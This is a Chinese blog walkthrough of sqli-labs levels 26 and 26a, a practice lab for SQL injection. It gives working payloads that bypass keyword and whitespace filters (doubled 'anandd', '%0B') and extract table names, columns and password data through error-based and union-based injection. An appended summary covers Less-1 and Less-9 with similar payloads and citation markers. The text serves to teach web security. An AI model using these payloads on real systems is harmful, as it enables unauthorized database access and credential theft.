sqli-labs解题思路之less-26 and less-26a

551c8d9adb2d4dc282cd2c7f4d57b8d7.png

0ad4680f6cc347e7a4fad8ba172e061a.png

Less-26

页面中有提示

bd2eb33ebd4444d299eeaac6e08b07ad.png

意思是空格 和 注释 被过滤,comments在这里是注释的意思,但是随便测试一下会发现and 和 or 也被过滤 

因为输入?id=1and1  以及  ?id=1or1   下面的hint提示都是 11  没有显示中间的逻辑符,说明and 和or 都被替换为空了

输入?id=1'   有回显错误信息       near ''1'' LIMIT 0,1' at line 1    字符型注入,单引号闭合

132ac45078a34c72a7ff5fa53feb8841.png

那么简单的大方向就是报错注入 和 联合查询注入  需要绕过空格 注释符 以及 逻辑符的限制

 

分析一下源码中的函数便于理解原理

5cf83e96f50f445396fb2d0dea369a6e.png

使用preg_replace()正则替换函数,把匹配的字符替换为空字符串

参数i表示不区分大小写, 所以会匹配不区分大小写的or和and,不能使用大小写来绕过

\s 是一个正则表达式模式,作用是匹配任何空白字符,例如空格、制表符、换页符等等

使用[] 代表匹配[]括号中的字符,所以会匹配/ * - #  / \  这些字符    

\用来转义特殊字符 而转义符\也是特殊字符,所以也需要转义符来转义,关于\在php正则表达式的转义不在此叙述

代码中执行的sql语句是

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

逻辑符and or双写绕过

虽然preg_replace()函数过滤了and 和 or ,但是只是执行了替换为空字符串操作

语句并没有终止,sql语句依然会执行,并且preg_replace()只会对传入的字符串匹配一次

意味着如果传入anandd  那么中间的and会被匹配到替换为空,前面的an 和 后面的d 都不符合要求不会被匹配,最后就会变成and 绕过过滤      对于or也是同理   oorr即可绕过

注释符绕过

不能用# 和 -- 注释符    可以用单引号' 和 and'1 代替

关于注释符绕过的更详细的知识可以参考一下我的另一篇关于sqli-labs第23关 注释符绕过 的文章

https://blog.csdn.net/weixin_73904941/article/details/142685503?spm=1001.2014.3001.5501

 

空格绕过

//sql语句中可以代替空格的字符 
注释符/**/  
制表符%09  
换行符%0a 
括号()
反引号` 
%a0  %0c   %0b

在php5.4.45版本下测试,上面的字符除了()括号之外,其他的都不起作用,很多空白字符都被函数匹配

在php 5.2.17版本下测试 () %a0 和 %0b 是可行的,下面的操作都是在5.2.17版本下执行的

 

报错注入

有报错信息回显,所以可以用报错注入,逻辑符用||   information中的or双写infoorrmation 

用|| 一是因为没有过滤||   二是报错注入语句可以用and or || 这些逻辑符,效果是一样的,我那一篇文章也提到过

查看当前数据库,用括号()或者%a0 %0b绕过都可以

?id=1'||(extractvalue(1,concat('~',(select(database())))))||'1

查表

?id=1'||(extractvalue(1,concat('~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'))))||'1

查users表字段   and双写 anandd

?id=1'||(extractvalue(1,concat('~',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'anandd(table_name)='users'))))||'1

查字段数据    password 中的or双写 

?id=1'||(extractvalue(1,concat('~',(select(group_concat(passwoorrd))from(security.users)))))||'1

843bb053a3fe4813b6bc4869d603b3e3.png

extractvalue()能查询字符串的最大长度为32,如果得到的结果超过32,就要用substr()等函数截取或limit限制,所以可以用substr()函数分区间依次查看

?id=1'||extractvalue(1,concat('~',(select%0Bsubstr((select%0Bgroup_concat(passwoorrd)%0Bfrom%0Bsecurity.users),30,60))))||'1

86534c8e20ae48469246bd815c80e640.png

联合查询注入

?id=0'union%0Bselect%0B1,2,3'

 得到查询表的列数是3   回显位是2 3

查表 

用 and'1 闭合

?id=0'union%0Bselect%0B1,2,group_concat(table_name)from(infoorrmation_schema.tables)where(table_schema)='security'anandd'1

或者  用' 闭合

?id=0'union%0Bselect%0B1,2,(select%0Bgroup_concat(table_name)from%0Binfoorrmation_schema.tables%0Bwhere%0Btable_schema='security')'

 

 

查字段

?id=0'union%0Bselect%0B1,2,(select%0Bgroup_concat(column_name)from%0Binfoorrmation_schema.columns%0Bwhere%0Btable_schema='security'anandd%0Btable_name='users')'

查字段数据

?id=0'union%0Bselect%0B1,2,(select%0Bgroup_concat(passwoorrd)from%0Bsecurity.users)'

Less-26a

和Less-26的过滤函数是一样的,只是没有报错信息回显,所以不能用报错注入

这里的查询语句是

3e13ce668e7f4366ad4078a2ea35eb0b.png

这里的过滤字符是可以轻松测试出来的,无论是用字典跑一下,还是手动尝试,但是查询语句的格式是不容易猜的

输入id=1 成功回显   id=1' 报错     

id=1"(双引号)成功回显    输入两个单引号id=1''成功回显  可以初步判断是格式中有单引号闭合

也可以用?id=1%0Baandnd1=1  和?id=1%0Baandnd1=2    发现都正常回显id为1时的数据,说明不是数字型注入

ea1990014660441ebbf813ba8d84c98f.png

而?id=1'%0Baandnd1=1 报错    ?id=1"%0Baandnd1=1 正常    也可以得出格式中有单引号闭合

 

使用?id=0'union%0Bselect%0B1,2,3' 联合查询时发现也是报错,说明除了参数id除了单引号之外还有别的字符包围,不然不会报错得不到结果,有最开始几关的提示,可以猜测格式中还有括号等字符

?id=1')anandd('1

页面成功回显id=1的信息     这里and('1') 和 and 1  是等价的     ('  是为了闭合  ')

而输入 ?id=0')anandd('1   页面没有回显,也没有报错,因为查询的是id=0的信息,所以是空的没有回显,也没有报错

因此可以判断格式为('$id')    下面就是和Less-26差不多的操作

只不过不能用' 和 and'1 闭合了  需要用('  和 anandd('1   闭合    原理是一样的,变换一下而已

?id=0')union%0Bselect%0B1,2,('3

 acf8d864ec7b46bb92222dd17cf5af79.png

 

从下图中可以看出,这里('3')会被识别为3完成闭合,2也是回显位,因此可以在2位置执行查询语句,位置3用来闭合')

bf63aa75dd5147a7ad07873552efd2f8.png

不过需要用括号()包围查询子句,像下面这样

查表

?id=0')union%0Bselect%0B1,(select%0Bgroup_concat(table_name)from%0Binfoorrmation_schema.tables%0Bwhere%0Btable_schema%0B='security'),('3

b0fc453bb8f44979a5b90ad84101367d.png

查字段  注意双写 or 和 and

?id=0')union%0Bselect%0B1,(select%0Bgroup_concat(column_name)from%0Binfoorrmation_schema.columns%0Bwhere%0Btable_schema='security'anandd%0Btable_name%0B='users'),('3

d97464f355244c64b7cf9c912f63bbc8.png

查字段数据

?id=0')union%0Bselect%0B1,(select%0Bgroup_concat(passwoorrd)from%0Bsecurity.users),('3

fa6b98ffa3ed4242a35f5e44d2cf3bd8.png

如果不使用union select 1,(select ....),('3') 的格式,可以用 and('1') 闭合

查表

?id=0')union%0Bselect%0B1,2,group_concat(table_name)from%0Binfoorrmation_schema.tables%0Bwhere%0Btable_schema%0B='security'anandd('1

1810c8a9676c4fafb9d048f2ecfbbdd9.png

查字段

/?id=0')union%0Bselect%0B1,2,group_concat(column_name)from%0Binfoorrmation_schema.columns%0Bwhere%0Btable_schema='security'anandd%0Btable_name='users'anandd('1

查字段数据

?id=0')union%0Bselect%0B1,(select%0Bgroup_concat(passwoorrd)from%0Bsecurity.users),('3

这里就不能用and('1') 闭合了,因为没有条件语句,格式错误会报错,上面那篇文章链接中提到过

 

如果有错误还请指正

 

### SQL注入漏洞的基本原理 SQL注入是一种常见的Web安全漏洞,攻击者通过在输入字段中插入恶意的SQL代码,从而操控后端数据库。这种攻击可以导致数据泄露、数据篡改,甚至完全控制数据库服务器。SQL注入通常发生在应用程序没有正确过滤用户输入的情况下。 ### Less-1 漏洞利用教程 Less-1 是 `sqli-labs-master` 项目中的第一个实验环境,旨在帮助学习者理解和练习SQL注入技术。该实验环境模拟了一个存在SQL注入漏洞的Web应用。 #### 判断注入类型 首先需要确定目标是否存在SQL注入漏洞,并识别其类型(字符型或数字型)。对于Less-1,可以通过尝试添加单引号 (`'`) 到URL参数来触发错误消息,进而判断注入点的存在[^4]。 #### 获取数据库信息 一旦确认存在注入点,下一步是获取数据库的信息,如数据库名称、表名和列名等。这可以通过使用`UNION SELECT`语句结合`group_concat()`函数来实现。例如,通过访问以下链接可以获取用户名和密码: ``` http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users --+ ``` 此请求将返回一个包含所有用户名和密码的字符串,用以展示如何从数据库中提取敏感信息[^3]。 #### 使用布尔盲注 如果直接查询无法获得预期结果,可以采用布尔盲注技术。这种方法依赖于根据查询是否为真来推断数据库的信息。例如,通过发送如下请求来估计当前数据库名称的长度: ``` http://127.0.0.1/sqli-labs-master/Less-9/?id=1' AND IF(LENGTH(database())<10,sleep(1),1) -- a ``` 这里使用了`IF`条件语句配合`SLEEP()`函数,当条件满足时会使服务器延迟响应,以此判断条件真假[^1]。 #### 导入数据库 为了更好地理解和实践这些实验,可能还需要导入预先准备好的数据库结构。可以通过MySQL客户端工具执行SQL文件来完成这一操作: ```bash mysql -u root -p < Less-1/sqlmapless1.sql ``` 这条命令会提示输入密码,之后将指定的SQL文件导入到MySQL数据库中,设置好实验所需的环境[^2]。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值